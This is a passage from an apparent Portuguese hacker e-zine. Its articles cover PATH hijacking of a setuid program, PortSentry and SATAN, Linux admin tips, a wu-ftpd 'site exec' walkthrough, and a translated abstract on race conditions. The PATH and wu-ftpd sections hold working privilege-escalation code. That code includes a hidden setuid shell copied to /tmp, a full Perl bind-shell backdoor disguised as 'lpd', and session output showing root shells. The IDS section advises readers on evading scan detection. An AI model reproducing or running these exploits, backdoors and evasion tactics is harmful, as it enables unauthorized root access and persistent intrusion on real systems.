         #include <stdlib.h>
         
         main() {

            system("w"); }

         /* FIM */

         Binito o programa acima neh ?, mas veja o erro, nos na funcao
system() nao colocamos o PATH para o programa sendo assim um usuario mal
intencionado mudaria o PATH e no lugar do programa original seria
executado outro programa porque o PATH naum iria procurar no /usr/bin q eh o
lugar do programa original um exemplo pratico dessa tecnica vc ve abaixo : 

         /* INICIO */

         #include <stdio.h>
         #include <stdlib.h>
         #include <unistd.h>

         main() {

            int uid;

            uid = getuid();
            setuid(0);
            system("w");
            setuid(uid); }

         /* FIM */

         Compile com gcc -o vul3 vul3.c e depois de chmod +s vul3 .

         Veja q o programa executa o w como root ( dificilmente vc vera
isso assim, mas soh estou mostrando como funciona o esquema ), agora pegue
e mude o PATH para o diretorio local onde c encontra o programa vul3, veja
o comando : 

         bash# export PATH=./

         Depois disso crie o programa abaixo compile ele com gcc -o w
w.c, para q ele seja o falso w .

         /* INICIO */

         #include <stdio.h>
         #include <stdlib.h>

         main() { system("/bin/bash"); }

         /* FIM */

         Bem simples depois basta executar o vul3 e deixar q ele execute
nosso falso w com o ID=0 ou seja ele executara nosso falso w como root
e tchan, shell root again .

         Esse isquema do system() uma dica para naum fazer com q se tenha
problemas desse tipow eh usar o PATH completo para o programa ou seja em
vez de colocar somente o nome do programa coloca-se o caminho inteiro para
esse programa veja um exemplo pratico disso abaixo com o programa w, o
mesmo do exemplo acima, soh q nesse prog ele naum esta bugado :

         /* INICIO */

         #include <stdio.h>

         main() {

            system("/usr/bin/w"); }

         /* FIM */

         Veja q o isquema acima naum faz com q o programa seja procurado
no PATH pois ele ja esta com o caminho correto para o programa, assim naum
eh afetado pela tecnica descrita acima, outra coisa q c pode fazer como
dito acima eh trocar a funcao pela execl() .

         Bom ta ai um texto simples com tecnicas legais, mas considero
isso mais como um erro do programador, e naum como um bug pois todos os
exemplos deste texto poderiam muito bem ser evitado, mudando-se as
funcoes, fazendo-se verificacoes, bom espero ajudar alguem com isso
hehehe, T+ galera fui !!!

[KeeP]

[-= fim =-]




[7] [-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=]
    [-= IDS (Intrusion Detection System) =-]
    [-= por: Hophet                      =-]
    [-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=]



* Introducao

Vamos discutir agora um assunto bastante interessante, e que 
requer leituras extras p/ um entendimento maior e tb p/ maior
abrangencia dos varios modos de atuacao de IDS's, por isso
procure mais informacoes sobre este fascinante assunto.


* O que eh IDS ?

IDS eh a abreviacao de "Intrusion Detection System", ou seja,
'Sistema de Detecao de Intrusos', seu objetivo eh detectar 
acoes estranhas dentro de um sistema, seja rootkits, tentativas
de exploitacao, scans,  entre outros e tomar determinadas acoes 
no intuito de eliminar ao maximo ou ate diminuir consideravelmente
os riscos de um acesso nao autorizado ao sistema. Eles analizam
os pacotes que chegam a rede e comparam com assinaturas ja prontas
de ataques, indentificando possiveis ataques.


* Como usar IDS's  

Nesta parte vou falar de alguns IDS's e como eles trabalham
p/ garantir ou reduzir os impactos de um acesso nao autorizado.


1. PortSentry 

Este eh um IDS muito conhecido e utilizado, ele eh mais direcionado 
a deteccao de "scans" , ele espera por pacotes tcp ou udp e indentifi
caos como sendo scans ou nao, se sim, ele ira logar tudo,horas,origem,
etc, num arquivo portysentry.history e tb em /var/log/messages. 
Ele tabem ira bloquear os scans e ira dar um retorno falso a quem 
escaneia, como sistema que na realidade nao esta rodando na maquina 
e portas que nao estao abertas.
Voce pode pegualo em: 

http://www.psionic.com/tools/portsentry-1.0.tar.gz

Instaleo e vamos aos testes...

Scans que ele bloqueia:

 connect() scans -- TCP
 SYN/Half open scans	
 FIN scans
 NULL scans
 XMAS scans
 UDP scans

modos de operacao:

root@ipc:/usr/local/psionic/portsentry# ./portsentry
...
usage: portsentry [-tcp -udp -stcp -atcp -sudp -audp]
...

os mais significativas, pelo menos pra min sao:

-tcp = para scans TCP
-udp = para scans UDP --> poucos scans usam, + ...
-stcp = para scans 'stealth tcp'
-atcp = para scans 'advanced tcp'

Entao vamos inicialo(voce pode colocar estas linhas em algum
script de inicializacao[/etc/rc.d/rc.local], nao esqueca do
path completo):

root@ipc:/usr/local/psionic/portsentry# ./portsentry -atcp
root@ipc:/usr/local/psionic/portsentry# ./portsentry -stcp
root@ipc:/usr/local/psionic/portsentry# ./portsentry -tcp
root@ipc:/usr/local/psionic/portsentry# ./portsentry -udp

Pronto e operante:) ... vamos ver o antes e o depois.
Antes de rodar o 'portsentry':

root@ipc:/# nmap -sS 127.0.0.1

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on localhost (127.0.0.1):
(The 1528 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
23/tcp     open        telnet
25/tcp     open        smtp
37/tcp     open        time
79/tcp     open        finger
110/tcp    open        pop-3
111/tcp    open        sunrpc
113/tcp    open        auth
143/tcp    open        imap2
513/tcp    open        login
514/tcp    open        shell
515/tcp    open        printer
689/tcp    open        unknown
2049/tcp   open        nfs

Uptime 0.127 days (since Fri May 18 22:22:20 2001)

Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds


Depois do 'portsentry' esta rodando:

root@ipc:/# nmap -sS 127.0.0.1

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on localhost (127.0.0.1):
(The 1510 ports scanned but not shown below are in state: closed)
Port       State       Service
1/tcp      open        tcpmux
11/tcp     open        systat
15/tcp     open        netstat
21/tcp     open        ftp
23/tcp     open        telnet
25/tcp     open        smtp
37/tcp     open        time
79/tcp     open        finger
110/tcp    open        pop-3
111/tcp    open        sunrpc
113/tcp    open        auth
119/tcp    open        nntp
143/tcp    open        imap2
513/tcp    open        login
514/tcp    open        shell
515/tcp    open        printer
540/tcp    open        uucp
635/tcp    open        unknown
689/tcp    open        unknown
1080/tcp   open        socks
1524/tcp   open        ingreslock
2000/tcp   open        callbook
2049/tcp   open        nfs
6667/tcp   open        irc
12345/tcp  open        NetBus
12346/tcp  open        NetBus
31337/tcp  open        Elite
32771/tcp  open        sometimes-rpc5
32772/tcp  open        sometimes-rpc7
32773/tcp  open        sometimes-rpc9
32774/tcp  open        sometimes-rpc11
54320/tcp  open        bo2k

Uptime 0.130 days (since Fri May 18 22:22:20 2001)

Nmap run completed -- 1 IP address (1 host up) scanned in 7 seconds


Viram a diferenca??! eh isso que ele faz, agora de uma olhada 
nos arquivos '*.blocked.*' do '/usr/local/psionic/protsentry'
e veja o que vai achar, olhe tambem *.history, olhe os qrquivos
que ja citei um pouco a cima. Veja:

/* portsentry.blocked.atcp */

990250139 - 05/19/2001 01:28:59 Host: localhost/127.0.0.1 
Port: 871 TCP Blocked
 
/* fim */

Viram ??! Ele logo o nosso scaning, por isso quando for fazer 
alguma investida pense duas vezes antes de sair scaneando tudo
que ver pela frente;), certifique-se de que o alvo nao rode o 
portsentry ... vamos falar sobre isso um pouco mais a frente.
Voce tambem pode dar uma olhada no arquivo "portsentry.conf"
esse arquivo eh o responsavel pela configuracao,nele vc podera
mudar o banner ,etc ,ele eh de facil compreencao e voce podera 
editalo de uma forma a melhorar mais ainda o funcionamento do 
'portsentry'. Qualquer duvida sobre ele podem mandar, tentarei 
responder todas.


Indentificando um PortSentry:

Quando se ver obrigado a um scanner eu aconselho a nao scanear 
portas abaixo de 20 porque ele provavelmente vai logar o seu 
scanner, embora eu acredite que eh meio dificil ser obrigado 
a isso, tente fazer na mao mesmo com certeza suas chances de 
ser logodo vao diminuir muito.Outra coisa que eh importante 
lembrar eh que nao eh facil detectar que um certo host esta
rodando o portsentry ou qualquer outro IDS, o que se pode fazer
sao suposisoes diante das informacoes do determinado host.

Para saber se um host roda o portsentry voce pode tentar algumas
coisas, como uma coneccao de cada vez na mao mesmo, voce pode
tentar varias portas com um telnet nelas aih provavelmente vai
encontrar portas abertas demorando um pouco pra voce pegua uma
porta que esta sendo vigiada, outra coisa eh nao tenta portas 
menores que 20 , se tentar provavelmente vai ser soh uma vez
e jah estara logado no sistema alvo. Voce pode tentar um 
telnet na porta 11 que eh a porta do "systat" se aberta vc 
provavelmente pode conseguir informacoes bastante para 
nao precisar de um scanning, mas mesmo assim nao eh aconselhavel
porque eh uma porta baixa(11) e provavelmente o 'portsentry'
ira logalo, se nao existir um 'portsentry' ai sim isso eh mais
aconselhavel, mesmo assim tenha cautela em seus atos, pense 
na melhor maneira de fazer.Uma coisa a fazer eh tenta a 'forca
bruta' ou por scanning em shell's que voce tenha em
outros host's, quem ira ficar logado eh o host que voce uti
lizou e voce tera as informacoes que precisa, embora possam
ser irreais, mas eh uma saida au problema do IDS, ainda mas
se tivermos varios shell's na forca bruta poderiamos com 
varios IP's tenta portas abertas assim conseguiriamos um
grande numero de portas abertas sendo poucas vezes logado
no alvo. Mas alem de tudo use sua imaginacao para passar 
por essas ferramentas IDS's.


2. SATAN

Eu considero essa ferramenta um IDS pelo fato dele analizar
pacotes que chegam a rede a tabem comparalos a uma assinatu
ra de ataques, o que o difere um pouco eh que ele pode ser
usado para seguranca como tabem para scaning de alvos.    
O Satan eh uma ferramenta de analise de seguranca para 
auditoria de redes. Ele examina a presenca de servicos como:
rexec,login,NIS,NFS,finger,ftp,telnet, entre outros.
Esta analize eh baseada em regras de seguranca para
redes de computadores, assim, ele pode ser utilizado, tanto
para previnir possiveis ataques, como para obter informacoes
necessarias para se investir contra um host.Ele eh utiliza-
do tambem para obter informacoes, sobre servicos, etc entao 
ele eh tambem uma ferramenta de varredura e deixa suas marcas 
nos log's.
Voce pode peguala em: 

http://www.porcupine.org/satan
http://freshmeat.net/redir/sara/9251/url_tgz/sara-3.2.3.tar.gz

Nao vou falar muito sobre ele, por isso se precisar busque 
informacoes estras em outros lugares, ate porque nao fiz 
muitos testes com ele, mas teste voce e tire suas proprias
conclusoes.   

3. Finalizando

Aqui finaliza esta primeira parte sobre IDS, na proxima 
edicao(01) falaremos sobre o "Snort" e o "Chkrootkit",
entre outras ferramentas utilizadas para tal coisa.
Iremos a fundo nessas duas ferramentas. Aguarde!!!

[-= fim =-]




[8] [-=-=-=-=-=-=-=-=]
    [-= Linux      =-]
    [-= por Hophet =-]
    [-=-=-=-=-=-=-=-=]


1. Introducao
2. zgv e o links
3. Swap no Slackware
4. Copias de seguranca
5. Finalizando


1. Introducao


Esta secao vai tratar de varios assuntos referentes ao linux,
e seu modo de administracao, para facilitar a vida dos adm's
e tambem dos linuxers. Vamos a discucao.


2. zgv e o links 


Decidi escrever esta pequena secao pq o pessoal tava tendo 
algumas duvidas para colocar o "links" com suporte a imagem 
usando o "zgv" ... mas vou falar aqui de modo que todos 
entendam e possam ter sua vida no console um pouco mais 
felizes :) .Primeiro parar vermos imagens no links usando o 
zgv voce tem que ter a lib "libsvga" instalada e configurada,
pelo menos no meu Slackware 7.0 ela ja estava instalada por 
padrao, certifique que ela exista e se nao baixe-a e instale,
depois voce pode baixar o "zgv", compilar e instalar, procure 
em:

http://freshmeat.net
http://www.ibiblio.org/pub/Linux/apps/graphics/viewers/svga/
http://pop-mg.linux.tucows.com/consoft.html

Depois de instalado, voce ja pode configurar o "links",
abra-o, siga ate: Setup, Associations, Add. Ira abrir 
uma janela pra voce preencher com esses parametros:

* para GIF:

Label: GIF
Content-Types: image/gif
Program: zgv %

De um OK 
Novamente em "Add" preencha com:

* para JPG:

Label: JPG
Content-Types: image/jpeg
Program: zgv %

De um OK :)

Salve a configuracao em: Setup, Save Options. Agora 
para ver a imagem selecione-a, abra o menu(Esc), va 
ate: Link, View image. Pronto ela se abrira pra voce
atraves do zgv.
OBS.: O "zgv" pode ser utilizado para ver imagens no
console do linux sem a necessidade do Xwin.
Use: $ zgv imagem.jpg
     $ zgv imagem.gif 

Bastante simples, lembrando que o links tem suporte a mouse 
e agora tambem a imagens sua vida no console vai ser um pouco
mais feliz, pelo menos se voce tiver uma maquina que nao 
aguenta o pesado Netscape, e olha que links substitui o 
grandao muito bem, pelo menos eu gosto muito:) ... ah ja 
ia me esquecendo ele tambem tem suporte a cores e frame, 
para ativar essas opcoes vah ate: Setup, Terminal Options.
Qualquer duvida mail-me. 



3. Swap no Slackware


Pra comecar decha eu falar o que eh o "swap" acho que todos 
voces ja sabem mas... 

Swap = Area de troca ou de paginacao ... o mais correto eh 
paginacao porque o linux nao troca, pagina.

A area de paginacao eh aquela particao que voce determinou 
na instalacao de seu linux, que eh utilizada como memoria 
para um maior processamento e rapidez do linux assim como 
dos programas que voce venha a usar. 

Vamos a questao do topico, nao sei se acontece com as suas
distros pelo menos aconteceu com a minha, logo apos a 
instalacao do meu Slackware 7.0 percebi que minha particao 
"swap" nao estava sendo utilizada veja:

# free
           total       used       free     ...
Mem:       14236      13552        684     ...
-/+ buffers/cache:     5080       9156
Swap:       0          0           0

Como virao, nada estava sendo mostrado em "Swap" ...
o que fiz ??!

Coloquei em meu "/etc/fstab" a seguinte linha:

/dev/hda2     none    swap      sw

OBS.: /dev/hda2 eh a particao swap, substitua pela sua.

Isso eh para a particao ser reconhecida como swap pela 
inicializacao do sistema assim como inicializala.  
Logo depois voce pode digitar isso como root:

# mkswap -v1 /dev/hda2 

Isso vai setar sua area swap como sendo a /dev/hda2.
E em "/etc/rc.d/rc.local" adicione a seguinte linha
ao final do arquivo:

/sbin/swapon -av

Com isso voce vai ativar a paginacao, se voce nao quizer 
reiniciar o sistema no momento pode digitar no console:

# swapon -av --> Ativa todas particoes swap que estiverem 
no "/etc/fstab". Se possivel reinicie o sistema eh mais 
aconselhavel, e verifique na inicializacao se ve a
seguinte messagem: "Adding Swap XXXXXXk swap-space",
XXXXXXX = tamanho da sua particao swap. Se ver eh mais 
um sinal que ocorreu tudo bem:)

Olhe agora a diferenca: 

# free
             total       used       free     ...
Mem:         14236      13316        920     ... 
-/+ buffers/cache:       4772       9464
Swap:       141112       1848     139264

Viu?! Nossa area de paginacao(Swap) funciona perfeitamente
e com certeza o sistema tah mais rapido que antes:)
Duvidas??! Erros??!


4. Copias de Seguranca


Isso que vamos tratar agora pode ser util para fazer backups,
ou copias de seguranca como diz o titulo, existem varias 
formas de se fazer uma copia de seguranca e todas estao certas
mas vou tratar de apenas uma delas. O foco principal aqui sera
o comando "cpio" ele pode ser usado para copiar arquivos como
tambem para criar "archives", ou seja, criar um conjunto de 
arquivos reunidos em um soh arquivo. 
Vamos supor que voce queira fazer uma copia de seguranca do 
"/etc" voce poderia fazer o seguinte:

# find /etc -print | cpio -ocv > bck_etc

Ou seja ele vai criar um arquivo(no caso "bck_etc") com a arvore
e conteudo de todo "/etc". Veja as opcoes:

-o => Vai copia a saida para um arquivo(bck_etc)

-c => Usa o formata ASCII

-v => Modo verbose, lista os arquivos processados.

Agora voce tem uma copia do seu /etc e pode usar pra quando
tiver algum problema ou usar em outros sistemas com o intuito
de facilitar uma possivel configuracao, pode mandar pra algum
servidor de ftp pra um futuro uso, etc, existem muitas 
possibilidades de uso para isso. Vamos supor que voce teve 
um problema em seu sistema e quer retornar aquela configuracao
(/etc) para seu sistema, entao como voce o salvou em um servidor
de ftp ou seja qual for, copiou novamente para sua maquina. Agora
vamos restituir o nosso antigo "/etc", faca o seguinte:

# cpio -icduvm < bck_etc 
ou
# cpio -icduvm < /onde/estiver/o/bck_etc

Isso vai criar novamente a arvore "/etc" em / .
OBS.: Ele vai substituir tudo em /etc, entao se precizar de algum
arquivo em /etc copie-o entes de fazer isto:)
Veja as opcoes:

-i => vai extrai o bck_etc, executa em modo imput(copia tudo de um 
arquivo, no caso, "bck_etc"

-c => Usa formato ASCII

-d => Essa opcao diz que os diretorios nao existentes, devem ser
criados

-u => vai restauara todos os arquivos de entrada, substituindo 
todos os antigos.  

-v => Modo verbose, lista os arquivos processados.

-m => Preserva data de modificacao.


Esta ai, agora pode sempre fazer suas copias de seguranca em 
servidores de ftp pelo mundo afora:)...
So aproveitando o assunto foi falar rapidamente de um modo
rapido de manipular diretorios ... veja:

# find /home -print | cpio -pduvm /bck/home

Com o "find" eu crio uma lista de diretorios e arquivos, 
com o "cpio" eu copio tudo para "/bck/home". Veja a
opcoe:

-p => Executa em modo de copia(passe), no caso com essa 
opcao ele pegou a lista criada pelo find e copiou tudo
para "/bck/home".

Agora voce tem uma copia indentica de /home em /bck/home.


5. Finalizando 


Bem aqui termina essa secao, mas se voce tem alguma duvida
sobre linux, seja de administracao ou sistema, mande, tenta
rei responder todas. Ate a proxima edicao. 

[-= fim =-]




[9] [-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-]
    [-= quote site exec & o "wu.ftpd" =-]
    [-= por Hophet                    =-]
    [-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-]


* Indice:

1. - Introducao
2. - Teoria & Pratica
3. - Esquemas Possiveis
4. - Terminando
5. - Ultimas Palavras


1 - Introducao
--------------

Eh, de inicio mando um abraco para todos da Unsekurity Team, 
quero dizer que tenho aprendido muito aqui com vcs:). Eh como
ja disse um pouco acima se vc for um SK ou Elite nao leia,
este material eh destinado ao pessoal Newbie Fucador.
Muitos de vcs ja conhecem ou ja ouviram falar sobre o que 
vou falar aqui, mas mesmo assim existem pessoas que nao 
conhecem o problema e se voce ja sabe fique avontade para 
ler ou nao:), a principio o objetivo do txt eh aumentar a
visao do fucador para os possiveis esquemas que podemos 
contemplar atraves desta, eu diria, opcao(falha) de alguns
servidores de ftp do mundo Linux(unix).Espero que seja util
pra alguem, e que todos nos possamos ter consiencia de que 
a "liberdade de informacao" e a "humildade" sao um grande 
e bom fator para o nosso crescimento.


2 - Teoria & Pratica   
--------------------


O que vou falar ??! devem estar curiosos neh:), eh um 
simples problema na maioria dos servidores de ftp 
"wu-2.6.0" pra baixo, em qualquer sistema operacional
que esteja rodando o "wu.ftpd".

O que acontece eh que o wu-ftp tem um comando que permite 
executar "comandos" dentro do sistema. Veja:

ftp> help quote
quote           send arbitrary ftp command

Isto nos permite enviar comandos para o servidor de ftp.

ftp> help site
site         send site specific command to remote server
             Try "rhelp site" or "site help" for more 
	     information

Isto nos permite enviar comandos para o servidor.

ftp> rhelp site
214-The following SITE commands are recognized (* =>'s unimplemented).
   UMASK           GROUP           INDEX           GROUPS
   IDLE            GPASS           EXEC            CHECKMETHOD
   CHMOD           NEWER           ALIAS           CHECKSUM
   HELP            MINFO           CDPATH
214 Direct comments to user@hostname.
ftp>

Veja! Esta eh uma lista de comandos que podemos enviar para
o servidor remoto.

Teste todos em seu servidor ou em algum que voce possa, e 
veja pra que cada um eh necessario, o que na maioria 
da pra saber so olhando pra eles. Vamos nos destacar no
EXEC que eh o comando que usaremos pra executar programas 
no servidor. Tenha em mente que as versoes novas dos 
servidores wu-ftpd nao contem este poder de execucao, mesmo  
tendo a opcao.Vamos a pratica!!:)

O que poderiamos fazer com isso eh entao finalmente executar 
comandos no servidor remoto atraves de um script ou programa,
uma linha para fazer isso poderia ser: 
"quote site exec sh script.sh". "sh" vai ser o interpretador 
do script "script.sh".
OBS.: Os programas(comandos) executados serao executados 
com poder de quem roda o servidor de ftp, na maioria das 
vezes eh o root.


3 - Esquemas Possiveis
----------------------

Aqui realmente a coisa fica mais interecante, com posse das
informacoes a cima poderemos contemplar varios modos para  
usufruir disso. Vejamos Alguns:

Se voce ja tem acesso a uma shell nesse servidor:
-------------------------------------------------

Se voce ja tem um shell no servidor alvo,voce poderia conseguir
um shell suid root de maneira bem simples. Veja:

Crie um arquivo contendo o seguinte:

--------------------------------------------------------------

/* Programa que nos dara um shell suid root */

#include <stdio.h>

main() 
{
  setuid(0);
  setgid(0);

  system("cp /bin/sh /tmp/.for_me_shell");
  system("chmod a+rwxs /tmp/.for_me_shell");
}	

--------------------------------------------------------------

Agora compile ele com "gcc shell.c -o shell", este programa 
sera executado pelo seguinte script:

--------------------------------------------------------------

#!/bin/sh
# Script q vai ser executado pelo wu-ftpd

exec shell

#eof

---------------------------------------------------------------

Salve como vc quizer(root.sh), torneo executavel
(chmod +x root.sh) e coloqueos em seu home.Pronto ja podemos 
ir em busca de nossa shell suid:), entre no servidor de ftp 
alvo com seu user, claro que voce tem que ter acesso com seu 
user neste servidor para que vc possa escrever nele, que no
caso tendo uma conta que tenha acesso a ftp voce vai cair 
no seu home entao fica tudo certo. Para ficar mais claro 
veja:

----------------------------------------------------

~$ ftp host_alvo
Connected to host_alvo
220 host_alvo FTP server (Version wu-2.6.0(0) ready.
Name (host_alvo:hophet): hophet
331 Password required for hophet.
Password:
230-Please read the file README
230-  it was last modified on Mon Oct 28 12:10:17 2000 - -349 days ago
230 User hophet logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> pwd
257 "/home/hophet" is current directory.
ftp> ls
...
-rwxr-xr-x   1 hophet   users       11873 May 28 14:18 root.sh
-rwxr-xr-x   1 hophet   users          28 May 28 14:16 shell
-rw-r--r-x   1 hophet   users          28 May 28 14:16 shell.c
...
226 Transfer complete.
ftp> quote site exec sh root.sh
...
ftp> quit

-----------------------------------------------------

Pronto ate aqui o script seria executado, entao o programa
shell seria executado pelo script que copiaria uma "shell"
suid root para /tmp/.for_me_shell. Veja(faca isso na sua shell
no servidor alvo):

~$ ls -la /tmp/.for_me_shell
-rwsrwsrwx   1 root   root      437844 May 16 21:29 /tmp/.for_me_shell*

~$ /tmp/.for_me_shell
bash#

Virao conseguimos uma shell root em nosso servidor alvo, isso soh
foi para mostrar pra voces quantas coisas podemos fazer para 
tirar proveito disto, claro que em alguns sistemas isso pode variar
(cp /bin/sh /tmp/.x), mas a partir daih voce pode imaginar varias
coisas possiveis. 



Sem shell no sistema alvo - Conseguindo uma shell:
--------------------------------------------------


O que voce pode imaginar eh o seguinte, e se eu nao tenho 
uma shell?? o que eu faco?? Voce pode pensar varias coisas 
com o intuito de obter uma shell neste sistema, vou comentar
apenas uma delas. Pense, e se no lugar de um programa que 
copie uma shell eu coloca-se um programa que "binda uma shell"
em uma porta alta no sistema?? Eh provavelmente dara certo 
entao vamos ver. Olhe esta Bind-shell em perl:


-----------------------------------------------------

#!/usr/bin/perl
# *** Synnergy Networks

# * Description:
#
# Remote unix shell backdoor.

# * Author:
#
# headflux (hf@synnergy.net)
# Synnergy Networks (c) 1999,  http://www.synnergy.net

# * Usage:
# remote.com$ ./nohup bindshell.pl &
# remote.com$ exit
# Connection closed by foreign host
# localhost$ telnet remote.com 60000
# Trying 192.168.1.1...
# Connected to remote.com.
# Escape character is '^]'.
# (user@remote.com:/home/user/)
# cat /etc/passwd; etc

# *** Synnergy Networks

use Socket;

$port	= 60000;
$proto	= getprotobyname('tcp');
$cmd	= "lpd";
$system	= 'echo "(`whoami`@`uname -n`:`pwd`)";
/bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
					or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l",
1))
					or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
					or die "bind: $!";
listen(SERVER, SOMAXCONN)		or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
	open(STDIN, ">&CLIENT");
	open(STDOUT, ">&CLIENT");
	open(STDERR, ">&CLIENT");

	system($system);

	close(STDIN);
	close(STDOUT);
	close(STDERR);
}

---------------------------------------------------------

Salve-a como bindsh.pl, e vamos ao trabalho:), crie outro
script com o seguinte conteudo:

---------------------------------------------

#!/bin/sh

perl bindsh.pl &

#eof

---------------------------------------------

Salve como root.sh para usarmos em nosso exemplo.
Pronto depois de feito isso mande os dois scripts
(bindsh.pl e root.sh) para o servidor de ftp(wu-ftpd),
"put". E faca a mesma coisa que antes, no sistema alvo 
digite:

...
ftp> quote site exec sh root.sh
...
ftp> quit
...

Pronto depois disso a bindshell vai ter sido executada
a voce vai ter uma shell te esperando na porta 60000.
Veja:

~$ telnet host_alvo 60000
Trying host_alvo...
Connected to host_alvo.
Escape character is '^]'.
(root@host_alvo:/)
id;
uid=0(root) gid=0(root) groups=0(root)
: command not found
exit;
Connection closed by foreign host.
~$

Como voces viram nao tinhamos uma shell neste sistema e 
nos aproveitando disto conseguimos uma shell root bindada
na porta 60000(isto pode variar, depende que quem estiver
rodando o servidor, mas normalmente eh o root), voce tb
poderia usar uma bind-shell em C nao faz diferenca, vc
soh teria que mudar algumas coisinhas,mas como voce pode
ver funciona. Como viram varios esquemas sao possiveis
a unica coisa que pode limitar a voce fucador eh a sua 
imaginacao, mas eu acredito que ela seja muito fertil:),
eu me limitei em apenas duas,mas cabe a voce colocar a 
cabeca pra funcionar e visualizar seus proprios esquemas.



4 - Terminando 
--------------

Enfim, podemos contemplar ainda varios e varios esquemas
para aproveitarmos disso, mas prosiga voce com seus esquemas
e ideias, porque o intuito real eh abrir um pouco mais 
a mente dos nossos irmaos Newbie fucadores aos conceitos 
usados, e espero aqui ter sido claro, e que todos possam
entender a mensagem, e espero tb ter ajudado alguma pessoa
com este humilde txt.     


 
5 - Ultimas palavras
--------------------


Eh, de ante mao agradeco a todo o pessoal da Unsekurity Scene
e a todo o pessoal que leva o hacking Etico a serio, assim 
contribuindo para um crescimento maior da liberdade. Quero 
deichar bem claro que sou totalmente contra qualquer ato 
Kiddie. Eh isso irmaos,vou ficando por aqui com minhas 
humildes palavras, e que cada vez mais venhamos a lutar 
pela "liberdade de informacao" e pela verdade. Um abraco 
a Blood_Sucker,Gold_Boy,KeeP, enfim a todos da Unsek:).

Um abraco.





[10] [-=-=-=-=-=-=-=-=-=-=-]
     [-= Race Conditions =-]
     [-= por Hophet      =-]
     [-=-=-=-=-=-=-=-=-=-=-]
 

  
Escritores: Robert H. B. Netzer e Barton PG. Moleiro   
Traduzido por: Hophet (hophet@yahoo.com.br)

* Algumas Palavras:

Porque decidi traduzir e colocar esta simples explicacao 
aqui ?? Porque eh realmente um assunto facinante e muito 
pouco falado e comentado(vide a dificuldade de conseguir
material), mas estah aih uma breve explicacao sobre o que
eh o "race condition" e como ocorre. Na secao "Links" 
coloquei alguns links que encontrei sobre esta assunto, cabe
a voce correr atras, o ponta peh inicial foi dado:). 



O que so Race Conditions?
  
Em programas paralelos shared-memory que usam sincronizaco 
explicita, resultam race conditions quando tem acesso a memoria
compartilhada(shared memory)assim no eh sincronizado corretamente.
Race Condition eh frequentemente considerado como manifestaces
de bugs, desde que a presenca deles faca o programa se comportar
inesperadamente. Infelizmente, houve pouco acordo na literatura
sobre o que constitui precisamente um race condition. Foram 
implicitamente consideradas duas noces diferentes: um pertencendo
a programas que pretenderam ser deterministic (o qual nos chamamos
"general races") e o outro a programas nondeterministic que contem 
seces criticas (o qual nos chamamos de "data race"). Porem, as 
diferencas entre general races e date race no tem contudo sido 
reconhecido. Este texto examina estas diferencas caracterizando 
"races" usando um modelo formal e explorando as propriedades deles.
Nos mostramos as duas variaces de cada tipo de race que existem:
possiveis general races e data races na captura as noces intuitivas
desejadas para depurar e nocoes de captura aparente de races menos
precisas implicitamente assumidas por metodos de descoberta de "race"
mais dinamicos. Nos tambem mostramos que localizar possiveis races
eh um problema NP-hard, insinuo isso soh as races aparentes que so
aproximaces a possiveis races que podem ser descobertos em prtica.
A complexidade de localiza races dinamicos aparentes depende do tipo 
de sincronizaco usado pelo programa. Races aparentes podem ser
exhaustively eficientemente se localizados para tipos fracos de
sincronizaco que eh incapaz de implementar excluso mutua. 
Este resultado tem implicaces importantes desde que nos discutimos
que a depuraco de "general races" requer a descoberta de race 
exhaustive e eh propriamente mais dificil que depurando "data
races" (que requer soh descoberta de race parcial). Programas que 
contem "data races"  podem ser depurados(debugged) assim localizando
facilmente races identificveis. Em contraste, programas que contem 
"general races" requerem tecnicas de depuraco(debuging)
mais complexas.  
  
 
Race Conditions acontecem durante a execuco de programas paralelos
(parallel programs), quando tem acesso a dados compartilhados que no
sao sincronizados corretamente.A descoberta de Race Conditions eh um
aspecto fundamental da depuraco de programas paralelos. Vrios tipos
de trabalhos de pesquisa foram terminados em definir race condition e 
em como eles deveriam ser negociados.  
  
Neste texto, so consideradas duas classes principais de race 
conditions. General Races causam nondeterministic na execuco de 
programas e pretende ser executada deterministically, e "data race" 
causa execucao nonatomic para secoes criticas.Cada classe que eh 
avancada categorizado em possiveis e aparentes "race conditions".
Possiveis races so os mais gerais, baseado em possivel comporta-
mento do programa, enquanto races aparentes soh foram baseadas no
comportamento de sincronizaco explicitos em programas. So 
discutidos alguns aspectos da complexidade computacional de depurar
com tais categorias.   
  
Este texto se trata de um problema importante para desenvolvimento
de programas paralelos(parallel programs).Melhor caracterizaco de
race conditions com uma compreenso de complexidades computacionais
eh  desejvel. Na fase atual de pesquisa, este texto eh uma referencia
boa para esses que esto interessados em uma compreenso teorica da 
depuraco de programas paralelos(parallel programs).  



* Finalizando:

Espero que esta pequena materia tenha sido util pro pessoal, ae
vejam os links, voces vao encontrar umas coisas legais sobre 
isso. Espero mais uma vez,talvez num futuro bem proximo, esta
escrevendo algo mais avancado sobre "race conditions" pro pessoal
Newbie fucador ... ateh lah.





[11] [-=-=-=-=-=-]
     [-= Links =-]
     [-=-=-=-=-=-] 



Unsekurity Scene
http://unsekurity.virtualave.net

Unlock Group
http://unlock.hobbiton.org

CIPSGA
http://www.cipsga.org.br

BufferOverflow.org
http://www.bufferoverflow.org

THC
http://www.thehackerschoice.com

Ibiblio --> progs for linux
http://www.ibiblio.org

 
Race Conditions:

race conditions em Java
http://http://www.mcs.drexel.edu/~shartley/ConcProgJava/labs.html

Incidentes em seguranca e Relatos CERT (25 paginas)
http://www.cert.org

Melhor artigo ja escrito sobre o tema. por Netzer
http://www.acm.org
http://www.acm.org/pubs/citations/journals/loplas/1992-1-1/p74-netzer/ 


Assembly
http://www.assembly.8m.com

CERT --> progs for linux
ftp://info.cert.org

TechnoTronic --> Progs, RFC's, etc
